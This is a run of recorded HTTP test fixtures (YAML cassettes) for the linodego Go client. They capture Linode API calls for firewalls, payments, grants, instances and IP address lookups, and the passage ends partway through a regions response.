Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "360" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-fw-test-updated","status":"disabled","tags":[]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228234 method: PUT response: body: '{"id": 228234, "label": "linodego-fw-test-updated", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "disabled", "rules": {"inbound": [{"action": "DROP", "label": "linodego-fwrule-test", "protocol": "ICMP", "addresses": {"ipv4": ["0.0.0.0/0"]}}], "inbound_policy": "ACCEPT", "outbound": null, "outbound_policy": "ACCEPT"}, "tags": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "363" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228234 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestFirewalls_List.yaml000066400000000000000000000133561455402072200312320ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228232, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: GET response: body: '{"data": [{"id": 228232, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "575" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228232 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestGetPayment_found.yaml000066400000000000000000000032631455402072200315530ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/payments/12065587 method: GET response: body: '{"id": 12065587, "date": "2018-01-02T03:04:05", "usd": 25.0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "60" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestGrantsList.yaml000066400000000000000000000025641455402072200304000ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/grants method: GET response: body: "" headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 204 No Content code: 204 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestIPAddress_GetFound.yaml000066400000000000000000000341351455402072200317160ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-hbq64at7q751","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 39426826, "label": "go-test-ins-wo-disk-hbq64at7q751", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.113.99"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "637" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-471mf0gvi37r","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/39426826/configs method: POST response: body: '{"id": 41972305, "label": "go-test-conf-471mf0gvi37r", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/194.195.113.99 method: GET response: body: '{"address": "194.195.113.99", "gateway": "194.195.113.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-113-99.ip.linodeusercontent.com", "linode_id": 39426826, "region": "ap-west"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "230" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/39426826 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestIPAddress_GetMissing.yaml000066400000000000000000000020771455402072200322540ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/10.0.0.1 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestIPAddress_Instance_Assign.yaml000066400000000000000000000562041455402072200332540ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": 